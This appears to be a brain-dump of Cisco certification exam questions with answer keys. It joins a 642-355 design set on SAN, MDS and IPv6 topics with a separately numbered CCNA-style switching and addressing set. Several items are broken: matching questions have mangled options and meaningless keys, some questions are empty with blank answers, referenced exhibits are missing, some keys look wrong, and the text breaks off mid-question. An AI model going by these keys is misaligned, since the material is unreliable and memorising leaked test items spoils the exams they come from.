D. office productivity suites (for example, Microsoft Office)
E. credit card transactions
F. engineering collaboration (for example, CAD and CAM)

Correct Answer: BCE Section: (none) Explanation
Explanation/Reference:
Actualtests.com – The Power of Knowing 642-355
QUESTION 175
A fully loaded Cisco MDS 9506 Multilayer Director requires 2190 watts of power. If 110-volt power is provided to the switch, at which power mode would the switch operate?
A. The director would operate in redundant mode only.
B. The director would operate in combined mode only.
C. The director would operate in redundant mode or combined mode.
D. The director cannot operate with 110-volt power.

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 176
What feature of the MDS 9000 family would be most valuable in establishing a baseline of the traffic load on an existing network prior to making changes?
A. SPAN
B. RSPAN
C. FC-SP
D. Performance Manager
E. AAA

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 177
What are three advantages of a collapsed-core architecture? (Choose three.)
A. This design provides the most efficient use of ports because no ports are consumed for ISLs.
B. The absence of ISLs significantly decreases reliability and manageability.
C. The absence of any oversubscription increases switch throughput.
D. Since there are fewer available paths over which traffic may travel, FSPF values are higher.
E. Ports can be scaled easily by adding hot-swappable blades without disrupting traffic.
F. The highest performance is achieved by director-class switches, because the high-speed backplane provides low fixed latency between any two ports.

Correct Answer: AEF Section: (none) Explanation
Explanation/Reference:
Actualtests.com – The Power of Knowing 642-355
QUESTION 178
A customer wants to consolidate the storage in an existing SAN where Cisco MDS Series Switches are deployed. How can the customer accomplish this goal and still be able to retain full access to the data?
A. dual supervisor modules
B. virtual output queuing (VOQ)
C. stateful failover
D. universal interoperability mode 4
E. per-VSAN FSPF routing

Correct Answer: E Section: (none) Explanation Explanation/Reference:
QUESTION 179
A customer is designing a SAN for each of two data centers. The two data centers are connected by dark fiber, which is owned by the customer. Cisco ONS platforms terminate the fiber and provide service aggregation. The customer requirements include that the SAN in each data center meet or exceed five nines of availability and be interconnected using 16 separate lambdas. The customer has four storage devices in each data center, and each storage device has four Fibre Channel interfaces. Each data center has 32 servers, and each server has two host bus adapters. The majority of the servers require only 20 to 30MBps of throughput on average, but four of the servers require 150 MBps of throughput on average. What will provide the most cost-effective design to satisfy these requirements?
A. two Cisco MDS 9216 Fabric Switches in each data center, each MDS 9216 with an additional 16-port Fibre Channel line card
B. two Cisco MDS 9216 Fabric Switches in each data center, each MDS 9216 with an additional 32-port Fibre Channel line card
C. two Cisco MDS 9506 Multilayer Directors with one in each data center, each MDS 9506 with two 16-port Fibre Channel line cards and two 32-port Fibre Channel line cards
D. two Cisco MDS 9509 Multilayer Directors with one in each data center, each MDS 9509 with two 16-port Fibre Channel line cards and three 32-port Fibre Channel line cards

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 180
What technology minimizes the potential for service interruption on SAN extension
Actualtests.com – The Power of Knowing 642-355
links?
A. FCIP
B. VRRP
C. VSANs and IVR
D. Port Channeling

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 181
A customer has 12 hosts, each capable of a maximum burst I/O rate of 75 MBps. The customer wants to connect these hosts to the fabric with a 32-port line card. For optimal performance what is the maximum number of hosts that should be connected to any four-port, host-optimized quad?
A. one
B. two
C. three
D. four
Correct Answer: C Section: (none) Explanation

Explanation/Reference:
QUESTION 182
A customer has the following application and peak-bandwidth requirements:Four database servers: 50 MBps eachFour exchange servers: 30 MBps each20 midrange development servers: 20 MBps eachWhich dual-fabric designs would best meet the needs of this price-sensitive customer while allowing for future SAN extension capability?
A. two Cisco MDS 9216i Multilayer Fabric Switches, each with an IPS-8 module
B. two Cisco MDS 9216A Multilayer Fabric Switches, each with an SSM module
C. two Cisco MDS 9216i Multilayer Fabric Switches, each with a 16-port FC module
D. two Cisco MDS 9216A Multilayer Fabric Switches, each with a 32-port FC module

Correct Answer: A Section: (none) Explanation
Explanation/Reference:
QUESTION 183
Which two design criteria require VLANs in a proposed solution? (Choose two)
Actualtests.com – The Power of Knowing 642-355
A. security between departments
B. segmenting collision domains
C. segmenting broadcast domains
D. video steaming on the LAN
E. limited budget of the corporation
F. use of multivendor equipment

Correct Answer: AC Section: (none) Explanation
Explanation/Reference:
QUESTION 184
Which statement describes IPv6 address route summarization?
A. IPv6 address have to converted to IPv4 address to be summarized
B. Classless Inter Domain Routing (CIDR) for IPv6 automatically performs route summarization
C. IPv6 addresses cannot use route summarization
D. IPv6 address have built in route summarization based on Top Level Aggregators, Next Level Aggregators and Site Level Aggregators.
E. The routers in the IPv6 network use proprietary protocols to optimize summarization based on the size of their routing tables.

Correct Answer: D Section: (none) Explanation Explanation/Reference:
QUESTION 185
A converged voice and data network is designed to carry voice calls on-net as close a possible to the destination to reduce long distance charges. What are two reasons that a VoIP call could go off earlier than designed? (Choose two)
A. The local voice gateway detects lack of bandwidth.
B. The destination routing is not configured on both local and remote gateways.
C. The local call manager server is too busy to process the call.
D. The telephone user dials access code.

Correct Answer: AD Section: (none) Explanation
Explanation/Reference:
QUESTION 186
A manufacturing company has decided to add a website to enhance sales. The web servers in the E-Commerce module must be accessible without compromising network security. Which two design recommendations can be made to meet their requirements? (Choose two)
Actualtests.com – The Power of Knowing 642-355
A. Use intrusion detection on the E-Commerce server farm
B. Limit the number of incoming connections to the module
C. Place E-Commerce servers and application servers on isolated LANs (DMZs)
D. Move the E-Commerce servers to the WAN module to provide tight security.
E. Use private and public key encryption

Correct Answer: AC Section: (none) Explanation
Explanation/Reference:
QUESTION 187
A global corporation has 2,000,000+ host and 10,000+ routers in their internal network. They also have connectivity to the Internet and do high volumes of traffic with their business partners and the public at large. They have decided to start using IPv6. Which statement best describes a flexible IPv6 strategy for this corporation?
A. IPv6 hosts and IPv6 routers
B. dual stack hosts and dual stack routers
C. dual stack hosts and IPv4 routers
D. IPv4 hosts and IPv6 routers

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 188
A network that is running Voice over Frame Relay (VoFR) is experiencing delay and delay variation due to sterilization of packets of varying size. This condition is causing voice quality problems. Which solution can be added to the network at the sending end to reduce these problems?
A. dejetter buffers
B. hardware digital signal processors
C. link fragmentation and interleaving
D. coding algorithm

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 189
An established network is experience DoS attacks against a specific server in E-Commerce module. The operating system on the server has been upgraded and patched and all unnccded services have been tuned off, but the attacks are
Actualtests.com – The Power of Knowing 642-355
continuing. What action should be recommended to reduce these attacks?
A. Block all UDP traffic to the affected server by using ACLs at the firewall.
B. Add more servers running the same application as the affected server.
C. Block all TCP traffic to the affected server by using ACLs at the firewall.
D. Limit the correction rate to the affected server at the firewall.

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 190
Very large organizations hasreceived its IPv6 address range from their Internet Service Provider and intend to only use IPv6 address internally. They will access the Internet through port address translation (PAT). What is required for their Domain Name Servers, DNS?
A. They no longer need DNS servers
B. Their DNS servers need to support both IPv4 and IPv6 addresses
C. Their DNS servers need to support only IPv6 addresses
D. Their DNS servers need to support only IPv4 addresses
E. They need additional DNS servers in their network just for IPv6 addresses
F. There are no changes required to their DNS servers

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 191
RST Corporation is planning to upgrade its current network. The chief technology officer (CTO) has supplied a topology diagram and an IP addressing scheme of the current network during an interview. The
company has been growing at about twenty percent per year and it has been difficult to maintain customer
support at a satisfactory level. The RST board has met and directed the CTO to look into network
improvements.
Which two items are most relevant in documenting RST’s business requirements?

A. improved customer support
B. existing network topologies
C. IP addresses assigned by the ISP
D. projected growth
E. frequency of board meetings

Correct Answer: AD Section: (none) Explanation
Explanation/Reference:
Actualtests.com – The Power of Knowing 642-355
QUESTION 192
In Cisco VoIP implementation what is used on a router to associate physical voice ports with phone numbers?
A. automatically route selections
B. translation patterns
C. IP telephony
D. dial neers

Correct Answer: D Section: (none) Explanation
Explanation/Reference:
QUESTION 193
What is the default encapsulation for synchronous serial interfaces on Cisco routers?
A. ATM
B. HDLC
C. PPTP
D. Frame Relay
E. GRE

Correct Answer: B Section: (none) Explanation
Explanation/Reference:
QUESTION 194
How does Roles Based Access Control (RBAC) enhance manageability in an environment with VSANs?
A. limit operator errors by isolating user management domains within a large physical infrastructure
B. specifies port membership to a specific VSAN
C. configures security options for host ports that are assigned to a VSAN
D. configures VSAN membership for specific trunk ports

Correct Answer: C Section: (none) Explanation
Explanation/Reference:
QUESTION 195
What is the impact of IPv6 on the BGP protocol?
Actualtests.com – The Power of Knowing 642-355
A. There is a new version of BGP for IPv6
B. Host converts BGP to IS-IS for IPv6
C. Host converts BGP to IS-IS for IPv6
D. There is no change for BGP between Ipv4 and IPv6
E. BGP cannot be used with IPv6

Correct Answer: A Section: (none) Explanation
Explanation/Reference:

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QUESTION 116
Match the corresponding terms and OSI layer.(Not all options are used.) 1.bits 2.packets 3.UDP 4.IP addresses 5.segments 6.MAC addresses 7.windowing 8.routing 9.switching
A. Network Layer II.Transprot Layer
B. I(2,4,9),II(5,7,3)
C. I(1,4,9),II(5,3,7)
D. I(1,4,8),II(2,7,3)
E. I(2,4,8),II(5,7,3)
Correct Answer: D
QUESTION 117
Three of the following are types of flow control. Which are them? (Choose three.)
A. windowing
B. buffering
C. cut-through
D. congestion avoidance
Correct Answer: ABD
QUESTION 118
The following exhibit displays every device attached to the network. How many collision domains are shown in this network?

A. 3
B. 6
C. 9
D. 15
Correct Answer: D
QUESTION 119
What do you think is the data structure that is described in the graphic?

A. TCP segment
B. FDDI frame
C. Ethernet frame
D. Token Ring frame
Correct Answer: A
QUESTION 120
For the following Layer 4 protocols, which one is used for a Telnet connection?
A. UDP
B. TCP
C. ICMP
D. DNS
Correct Answer: B
QUESTION 121
Which option is correct about the relationship between the definition and the term? Not all definitions will be used.
1.a protocol that converts human-readable names into machine-readable addresses 2.used to assign IP addresses automatically and set parameters such as subnet mask and default gateway 3.a protocol for using HTTP or HTTPS to exchange XML-based messages over computer networks 4.a connectionless service that uses UDP to transfer files between systems 5.a protocol used to monitor and manage network devices
6.a reliable. Connection-oriented service that uses TCP to transfer files between systems
A. SNMP II.FTP III.TFTP IV.DNS
B. DHCP
C. I-5;II-6;III-4;IV-1;V-2
D. I-5;II-6;III-1;IV-2;V-4
E. I-6;II-5;III-4;IV-1;V-2
F. I-6;II-5;III-4;IV-2;V-1
Correct Answer: A
QUESTION 122
Look at the following exhibit. To interconnect the devices, which types of cables are needed? (Choose three.)

A. rollover cable
B. V.35 cable
C. crossover cable
D. straight-through cable
Correct Answer: ACD
QUESTION 123
Look at the following exhibit. You are a network administrator for certways. You have added Host A to the network. A certain kind of cable should be used between P4S-S2 and host A. Which is it?

A. console cable
B. crossover cable
C. rollover cable
D. straight-through cable
Correct Answer: D QUESTION 124
Look at the following exhibit. To make the following connections ,what types of cables are recommended?

A. A-crossover B-straight-through C-crossover D-straight-through E-crossover
B. A-rollover B-straight-through C-straight-through D-rollover E-crossover
C. A-straight-through B-straight-through C-rollover D-straight-through E-straight-through
D. A-crossover B-straight-through C-rollover D-straight-through E-straight-through
Correct Answer: D
QUESTION 125
From which of the following does a small network get its IP network address?
A. Internet Service Provider (ISP)
B. Internet Architecture Board (IAB)
C. Internet Domain Name Registry (IDNR)
D. Internet Assigned Numbers Authority (IANA)
Correct Answer: A
QUESTION 126
You are a network administrator for certways. By using the Ethernet interfaces as shown in the graphic,
you connect PC hosts certwaysA and certwaysB directly. You ping certwaysB from
certwaysA, and fails. You are required to enable the connectivity between the two hosts. What can be
done? (Choose two.)
A. A default gateway needs to be set on each host.
B. The subnet masks should be set to 255.255.255.0.
C. A crossover cable should be used in place of the straight-through cable.
D. The hosts must be reconfigured to use private IP addresses for direct connections of this type.
Correct Answer: BC
QUESTION 127
Part of the certways network is shown below:
Please study the exhibit shown above carefully, how many collision domains are shown
A. three
B. two

C. four
D. one
Correct Answer: B
QUESTION 128
What is a necessary to allow host A to ping host B according to the exhibit?

A. a straight-through cable connecting the switches
B. a crossover cable connecting the switches
C. a router connected to the switches with straight-through cables
D. a CSU/DSU connected to the switches with straight-through cables
Correct Answer: C
QUESTION 129
You work as a network technician for the P4S company. The displayed wire scheme is terminated at each end with an RJ-45 connector. Which type of cables does the wire diagram represent?

A. a rollover cable
B. an Ethernet straight-through cable
C. a serial crossover cable
D. an Ethernet crossover cable
Correct Answer: D
QUESTION 130
On the basis of the exhibit below. When packets travel from Sara to Bill, which three devices will determine a forwarding path by using the destination MAC address of the packet? (Choose three.)

A. P4S-S1
B. P4S-S2
C. P4S-R2
D. P4S-S3
Correct Answer: ABD
QUESTION 131
Study the exhibit carefully. P4S-Host A is forwarding a packet to P4S-Host B for the first time. Which destination MAC address will be used by P4S-Host A in the ARP request?

A. 255.255.255.255
B. 00-17-94-61-18-b0
C. 00-19-d3-2d-c3-b2
D. ff-ff-ff-ff-ff-ff
Correct Answer: D
QUESTION 132
Refer to the following exhibit, Host A should communicate with the email server. Which address will be put in the destination address field of the frame when it leaves Host A?

A. the MAC address of Host A
B. the MAC address of P4S-S1
C. the MAC address of E0 of P4S-R
D. the MAC address of E1 of P4S-R
Correct Answer: C
QUESTION 133
The following exhibit shows a planned network. Which three descriptions are true about the areas and devices in the network plan? (Choose three.)

A. Network Device A is a switch.
B. Area 2 contains a Layer 2 device
C. Network Device B is a hub.
D. Area 1 contains a Layer 2 device.
Correct Answer: ACD
QUESTION 134
Refer to the graphic. Workstation A in the Sales location is communicating with the server in the Production location. What will be the source MAC address of the frames received by workstation A from the server?

A. the MAC address of router interface e0
B. the MAC address of the server network interface
C. the MAC address of host A D. the MAC address of router interface e1
Correct Answer: A
QUESTION 135
All devices will be connected through Ethernet according to the exhibit from labeled A to E . Which three
device-to-device configurations most likely require the use of a crossover connection?
(Choose three.)
A. exhibit A
B. exhibit B
C. exhibit C
D. exhibit D
E. exhibit E
Correct Answer: ADE
QUESTION 136
Your company has just installed the mail server and P4S-SW2. UDP packets are not permitted outbound on the Fa0/1 router interface due to security reasons. Bob is now examining the new installation at his workstation and can’t establish SMTP communication to the mail server. Which item is the reason for lack of communication between Bob’s workstation and the mail server?

A. The crossover cable should be a straight-through cable.
B. The IP addresses are all on the same network. No router is required.
C. UDP is blocked coming out of the Fa0/1 interface on the router.
D. The server should be directly connected to the router.
Correct Answer: A
QUESTION 137
Which two statements best describe the interface configuration according to the exhibit? (Choose two.)

A. The encapsulation in use on this interface is PPP.
B. This interface is connected to a LAN.
C. The address mask of this interface is 255.255.255.0.
D. The default serial line encapsulation is in use on this interface.
Correct Answer: AC
QUESTION 138
Refer to the exhibit. What could be possible causes for the “Serial0/0 is down” interface status? (Choose two.)

A. A Layer 1 problem exists.
B. A protocol mismatch exists.
C. The bandwidth is set too low.
D. An incorrect cable is being used.
Correct Answer: AD
QUESTION 139
Which two statements best describe ICMP packets? (Choose two.)
A. They acknowledge receipt of TCP segments.
B. They guarantee datagram delivery.
C. They can provide hosts with information about network problems.
D. They are encapsulated within IP datagrams.
Correct Answer: CD
QUESTION 140
The certways network topology exhibit is shown below:
Please study the exhibit carefully. A technician is troubleshooting a host connectivity problem. The host is
unable to ping a server connected to Switch certwaysA. Based on the result of the testing, what could be
the problem?
A. A remote physical layer problem exists.
B. The host NIC is not functioning.
C. TCP/IP has not been correctly installed on the host.
D. A local physical layer problem exists.
Correct Answer: D
QUESTION 141
Examine the following options carefully, which line from the output of the show ip interface command indicates that there is a Layer 1 problem?
A. Serial0/1 is up, line protocol is up
B. Serial0/1 is up, line protocol is down
C. Serial0/1 is down, line protocol is down
D. Serial0/1 is administratively down, line protocol is down
Correct Answer: C
QUESTION 142
What does flow control accomplish?
A. to ensure data is retransmitted if an acknowledgment is not received
B. to reassemble segments in the correct order at the destination device
C. to provide a means for the receiver to govern the amount of data sent by the sender
D. to regulate the size of each segment
Correct Answer: C
QUESTION 143
For the following transport layer protocols, which one is most suitable for the transport of VoIP data?
A. HTTP
B. UDP
C. RIP
D. OSPF
Correct Answer: B
QUESTION 144
Which three statements correctly describe the operation of a full-duplex Ethernet network? (Choose three.)
A. There are no collisions in full-duplex mode.
B. A dedicated switch port is required for each full-duplex node.
C. Ethernet hub ports are preconfigured for full-duplex mode.
D. The host network card and the switch port must be capable of operating in full-duplex mode.
Correct Answer: ABD
QUESTION 145
According to the following exhibit. Which two output fields will be helpful when you determine if a broadcast storm has occurred? (Choose two.)

A. collisions
B. no buffer
C. dribble condition
D. ignored
Correct Answer: BD
QUESTION 146
You are a network technician at P4S, study the exhibit carefully. The ports displayed are the only active ports on the P4S-S. The MAC address table is displayed in its entirety. The Ethernet frame presented reaches the P4S-S. When receiving this frame, which two operations will the P4S-S perform? (Choose two.)

A. The MAC address of 0000.00aa.aaaa will be added to the MAC address table.
B. The MAC address of 0000.00dd.dddd will be added to the MAC address table.
C. The frame will be forwarded out port fa0/3 only.
D. The frame will be forwarded out fa0/1, fa0/2, and fa0/3.
Correct Answer: AD
QUESTION 147
Which two characteristics belong to Telnet? (Choose two.)
A. It sends data in clear text format.
B. It is no longer supported on Cisco network devices.
C. It is more secure than SSH.
D. It requires that the destination device be configured to support Telnet connections.
Correct Answer: AD
QUESTION 148
Which error condition could be removed at once when troubleshooting a LAN interface operating in full duplex mode?
A. dribble condition
B. giants
C. collisions
D. no buffers
Correct Answer: C
QUESTION 149
Refer to the exhibit.
P4S-PCA is sending packets to the FTP server. Consider the packets as they leave P4S-RA interface
Fa0/0 forwards P4S-RB.Drag the correct frame and packet address to their place in the table.
A.
B.
C.
D.
Correct Answer:
QUESTION 150
Choose from the following two statements that describe the operation of the CSMA/CD access method. (Choose two.)
A. In a CSMA/CD collision domain, stations must wait until the media is not in use before transmitting.
B. In a CSMA/CD collision domain, multiple stations can successfully transmit data simultaneously.
C. The use of hubs to enlarge the size of collision domains is one way to improve the operation of the CSMA/CD access method.
D. After a collision, all stations run a random backoff algorithm. When the backoff delay period has expired, all stations have equal priority to transmit data.
Correct Answer: AD
QUESTION 151
Topic – Implement a small switched network.
Select the appropriate media, cables, ports, and connectors to connect switches to other network devices and hosts Explain the technology and media access control method for Ethernet technologies Explain network segmentation and basic traffic management concepts Explain the operation of Cisco switches and basic switching concepts Perform, save and verify initial switch configuration tasks including remote access management Verify network status and switch operation using basic utilities (including: ping, traceroute,telnet,SSH,arp, ipconfig), SHOW DEBUG commands Implement and verify basic security for a switch (port security, deactivate ports) Identify, prescribe, and resolve common switched network media issues, configuration issues, autonegotiation, and switch hardware failures
A.
B.
C.
D.
Correct Answer:
QUESTION 152
You are a network administrator for the P4S company, study the exhibit carefully. Your company has just configured a Catalyst 2950 switch for remote management by pasting into the console the configuration commands displayed in the exhibit. However, a Telnet session is not able to be successfully established from a remote host. How to fix this problem?

A. Change the fifth line to ip route 0.0.0.0 0.0.0.0 192.168.17.1.
B. Change the first line to interface fastethernet 0/1.
C. Change the fifth line to ip default-gateway 192.168.17.241.
D. Change the sixth line to line con 0.
Correct Answer: C
QUESTION 153
You are a network administrator at P4S, study the exhibit below carefully. You substitute the NIC in a desktop PC with a new NIC. The NIC in the PC configuration is set to “100 Mb Half.” Now the PC has intermittent connectivity and loss of communication so you start troubleshooting on the switch. According to the switch output displayed, which is the most likely cause of the problem?

A. Fast Ethernet is incompatible with a megabit NIC.
B. The counters were not cleared after the hardware was replaced.
C. The switch is set to full-duplex.
D. Input flow control is off.
Correct Answer: C
QUESTION 154
The following graphic displays the topology and switching table. Host P4S-B forwards a frame to Host P4S-C. What would the switch do with the frame?

A. send an ARP request for Host P4S-C
B. send the frame out all ports except port 0/2
C. send an ICMP Host Unreachable message to Host P4S-B
D. record the destination MAC address in the switching table and send the frame directly to Host P4S-C
Correct Answer: B
QUESTION 155
You work as a network technician for P4S Ltd. Study the exhibit carefully. After the power-on self test
(POST), the system LED of a Cisco 2950 switch becomes amber.
What is the status of the
switch?
A. The switch has experienced an internal problem but data can still be forwarded at a slower rate.
B. The POST was successful.
C. POST failed and there is a problem that prevents the operating system of the switch from being loaded.
D. The switch passed POST, but all the switch ports are busy.
Correct Answer: C QUESTION 156
As it is shown in the following exhibit, P4S-SWA receives the frame with the addressing. Based on the command output shown, how will P4S-SWA handle this frame?

A. It will drop the frame.
B. It will flood the frame out all ports.
C. It will forward the frame out port Fa0/3 only.
D. It will flood the frame out all ports except Fa0/3.
Correct Answer: D
QUESTION 157
Which of the following command will set the default gateway to 192.168.12.1 on a Cisco switch?
A. P4S-SW(config)# ip route-default 192.168.12.1
B. P4S-SW(config)# ip route 192.168.12.1 0.0.0.0
C. P4S-SW(config)# ip default-gateway 192.168.12.1
D. P4S-SW(config)# ip default-network 192.168.12.1
Correct Answer: C
QUESTION 158
Study the exhibit carefully. Two 2950 switches use a straight-through cable to connect through ports fa0/24. What can be concluded about this network according to the output provided in the exhibit and the information that is given?

A. An IP address and default gateway must be configured on each switch.
B. The switches do not share the same VTP domain.
C. Port fa0/24 must be configured as a trunk in order for the switches to share neighbor information.
D. The switches are cabled incorrectly.
Correct Answer: D
QUESTION 159
Refer to the exhibit. The two connected ports on the P4S-S are not turning orange or green. What would be the most effective steps to troubleshoot this physical layer problem? (Choose three.)

A. Ensure that the Ethernet encapsulations match on the interconnected P4S-R and P4S-S ports.
B. Ensure that cables A and B are straight-through cables.
C. Reseat all cables.
D. Ensure the P4S-S has power.
Correct Answer: BCD
QUESTION 160
What does it indicate when the system LED is amber on a Cisco Catalyst 2950 series switch?
A. The system is not powered up.
B. The system is malfunctioning.
C. The system is forwarding traffic.
D. The system is powered up and operational.
Correct Answer: B QUESTION 161
P4S-SWA receives the frame with the addressing displayed in the exhibit. How will P4S-SWA deal with this frame according to the command output shown in the exhibit?

A. It will flood the frame out all ports.
B. It will forward the frame out port Fa0/6 only.
C. It will flood the frame out all ports except Fa0/3.
D. It will forward the frame out port Fa0/3 only.
Correct Answer: B
QUESTION 162
The following output was displayed on a certways device:
Study the exhibit above. Switch-certways1 needs to send data to host with a MAC address of
00b0.d056.efa4. What will Switch-certways1 do with this data?
A. certways1 will send an ARP request out all its ports except the port from which the data originated.
B. certways1 will flood the data out all of its ports except the port from which the data originated.
C. certways1 will drop the data because it does not have an entry for that MAC address.
D. None of the above
Correct Answer: B
QUESTION 163
The following graphic displays the topology and MAC address table. Host P4S-A sends a data frame to host P4S-D. When receiving the frame from host P4S-A, what will the P4S-SWA do?

A. The P4S-SWA will add the source address and port to the MAC address table and forward the frame to host P4S-D.
B. The P4S-SWA will flood the frame out of all ports except for port Fa0/3.
C. The P4S-SWA will add the destination address of the frame to the MAC address table and forward the frame to host P4S-D.
D. The P4S-SWA will discard the frame and send an error message back to host P4S-A.
Correct Answer: A QUESTION 164
Examine the following options, which two are effects on network performance of configuring a switch to store an entire frame before forwarding it to the destination? (Choose two.)
A. increase in switch operating speed
B. increased latency
C. filtering of all frame errors
D. filtering of collision fragments only
Correct Answer: BC
QUESTION 165
The part of certways network is shown below:
According to the diagram, which of the following is true about the internetwork?
A. certways2 is the root bridge.
B. Spanning Tree is not running.
C. No collisions can occur in traffic between certwaysB and certwaysC.
D. certwaysD and certways Server 1 are in the same network.
E. If Fa0/0 is down on certways-R, Pass4usreA cannot access certways Server 1
Correct Answer: E
QUESTION 166
Topic- Implement an IP addressing scheme and IP services to meet network requirements for a small branch office.
Describe the need and role of addressing in a network ” Create and apply an addressing scheme to a network Assign and verify valid IP addresses to hosts, servers, and networking devices in a LAN environment Explain the basic uses and operation of NAT in a small network connecting to one ISP Describe and verify DNS operation Describe the operation and benefits of using private and public IP addressing Enable NAT for a small network with a single ISP and connection using SDM and verify operation using CLI and ping Configure, verify and troubleshoot DHCP and DNS operation on a router.(including: CLI/SDM) Implement static and dynamic addressing services for hosts in a LAN environment Identify and correct IP addressing issues
A.
B.
C.
D.
Correct Answer:
QUESTION 167
Match the corresponding command sequence and configure an IP address on a serial interface.(Not all options are used) 1.P4S# interface s0/0 2.P4S(config)# interface s0/0 3.P4S(config-if)# no shutdown 4.P4S(config-if)# enable interface 5.P4S(config)# ip address 172.16.20.21 255.255.255.0 6.P4S(config-if)# ip address 10.8.5.255 255.255.252.0 7.P4S(config-if)# ip address 198.18.2.63 255.255.255.224 8.P4S(config-if)# description T1 to WAN 9.P4S(config)# banner motd! T1 to WAN! 10.P4S# configure terminal
A. enable the interface II.label the interface III.enter global configuration mode IV.enter interface configuration mode
B. configure the interface IP address
C. I-3,II-8,III-10,IV-2,V-6
D. I-3,II-8,III-10,IV-1,V-6
E. I-3,II-9,III-10,IV-2,V-5
F. I-3,II-9,III-10,IV-1,V-5
Correct Answer: A
QUESTION 168
Look at the following exhibit. The diagram is provided by the certways network support staff as a recommended configuration for the first phase of a four-phase network expansion project. The entire network expansion will have over 1000 users on 14 network segments. The following IP address space has been allocated for this network:
192.168.1.1 through 192.168.5.255

192.168.100.1 through 198.168.100.255
There are three problems with this design. What are them? (Choose three.)
A. The router-to-router connection is wasting address space.
B. AREA 2 could use a mask of /25 to conserve IP address space.
C. The AREA 1 IP address space is inadequate for the number of users.
D. The AREA 3 IP address space is inadequate for the number of users.
Correct Answer: ABC
QUESTION 169
You are a network technician at P4S. Study the exhibit above carefully, as the first step in verifying a local host configuration, you perform the ipconfig/all command on a computer. Answer the following questions by using the results of the command. Which destination addresses does not need the use of the default gateway for a packet from this local host?

A. 10.69.2.88
B. 10.4.8.2
C. 10.5.2.27
D. 172.16.236.4
Correct Answer: D
QUESTION 170
Refer to the exhibit. Host P4S-A needs to send data to Host P4S-B. Which Layer 2 and Layer 3 destination addresses will be used to send the data from Host P4S-A to Host P4S-B?

A. 192.168.24.1 and 0007.0e56.ab2e
B. 192.168.60.5 and 0007.0e56.ab2e
C. 192.168.24.2 and 0007.0e84.acef
D. 192.168.60.5 and 0011.43da.2c98
Correct Answer: B
QUESTION 171
You are a network technician at P4S. Study the exhibit above carefully, as the first step in verifying a local host configuration, you perform the ipconfig/all command on a computer. Answer the following questions by using the results of the command. Which IP address represents the first server that this computer is trying to contact to resolve an Internet web site URL to an IP address?

A. 10.4.8.1
B. 10.69.2.87
C. 172.16.3.2
D. 172.16.236.1
Correct Answer: A
QUESTION 172
You are a network technician at P4S. Study the exhibit above carefully, as the first step in verifying a local host configuration, you perform the ipconfig/all command on a computer. Answer the following questions by using the results of the command. You can successfully ping to the IP address of the primary DNS server configured on the computer. What can you determine concerning the network?

A. The names of all of the routers in the path can be resolved by the configured DNS servers
B. The DNS server is able to resolve domain names to IP addresses.
C. The router with the address 172.16.3.2 has the correct route to the 10.0.0.0 network
D. The router with the address 172.16.236.1 has a route it can use to reach network of the DNS server
Correct Answer: D
QUESTION 173
What can be drawn about traffic on the router interface from the statement “The only UDP port allowed on this router interface is 53.” issued by the network manager?
A. DNS traffic is allowed.
B. Telnet traffic is allowed.
C. RIP traffic is allowed.
D. SMTP traffic is allowed.
Correct Answer: A
QUESTION 174
Please study the exhibit, and answer the following question. Choose from the following the subnet broadcast address of the LAN connected to P4S-R.
A. 192.168.200.15
B. 192.168.200.31
C. 192.168.200.63
D. 192.168.200.127
Correct Answer: B
QUESTION 175
On the LAN to which P4S-R is connected, how many hosts can have IP addresses (Including the address on the P4S-R FastEthernet interface)?
A. 6
B. 14
C. 62
D. 126
Correct Answer: B QUESTION 176
Choose from the following two statements that describe the IP address 10.16.3.65/23? (Choose two.)
A. The subnet address is 10.16.3.0 255.255.254.0.
B. The broadcast address of the subnet is 10.16.3.255 255.255.254.0.
C. The lowest host address in the subnet is 10.16.2.1 255.255.254.0.
D. The last valid host address in the subnet is 10.16.2.254 255.255.254.0
Correct Answer: BC QUESTION 177
According to the following exhibit. A customer is not able to reach any web sites on the Internet, but others in the department have no problem. What most likely causes this problem?

A. A DHCP server address is not reachable by the PC.
B. IP routing is not enabled.
C. A DNS server address is not reachable by the PC.
D. NAT has not been configured on the router that connects to the Internet.
Correct Answer: C
QUESTION 178
Look at the following exhibit. P4SA should be able to telnet to switch P4S-SW by using router P4S-R for management purposes. To configure this connection successfully, what should be configured?

A. VLAN 1 on P4S-R
B. IP routing on P4S-SW
C. default gateway on P4S-SW
D. cross-over cable connecting P4S-SW and P4S-R
Correct Answer: C
QUESTION 179
Look at the following exhibit. The network is designed to provide the most efficient use of IP address space in a network expansion. Each circle defines a network segment and the number of users required on that segment. An IP subnetwork number and default gateway address are displayed for each segment. There are three problems with the network design. What are the problems? (Choose three.)

A. Network 10.1.2.0/25 requires more user address space.
B. Network 10.1.3.128/25 requires more user address space.
C. Interface fa0/3 has an incorrect IP address.
D. Interface fa0/1 has an invalid IP address for the subnet on which it resides.
Correct Answer: ACD
QUESTION 180
Two of the following describe private IP addresses. Which are them? (Choose two.)
A. a scheme to conserve public addresses
B. addresses that can be routed through the public Internet
C. addresses that cannot be routed through the public Internet
D. addresses chosen by a company to communicate with the Internet
Correct Answer: AC
QUESTION 181
You are a network technician at P4S. Study the exhibit above carefully, as the first step in verifying a local host configuration, you perform the ipconfig/all command on a computer. Answer the following questions by using the results of the command. Which two things can you determine by successfully pinging from this computer to the IP address 172.16.236.1? (Choose two)

A. The network card on the computer is functioning correctly.
B. The correct default gateway IP address is configured on the computer.
C. The default static route on the gateway router is correctly configured.
D. The device with the IP address 172.16.236.1 is reachable over the network.
Correct Answer: AD
QUESTION 182
Which of the following is the subnet address of 172.16.159.159/22?
A. 172.16.0.0
B. 172.16.156.0
C. 172.16.128.0
D. 172.16.159.0
Correct Answer: B
QUESTION 183
Tom works as a network technician for the P4S company. He is tasked to design a small network with redundancy according to the exhibit below which presents this design with all hosts configured in the same VLAN. What conclusions could be drawn from this design?

A. The connection between switches should be a trunk.
B. This design will function as intended.
C. The router will not accept the addressing scheme.
D. The router interfaces must be encapsulated with the 802.1Q protocol.
Correct Answer: C
QUESTION 184
The P4S company has required a 300-workstation expansion of its network. These workstations will be
installed in a single broadcast domain. However, each workstation needs to have its own
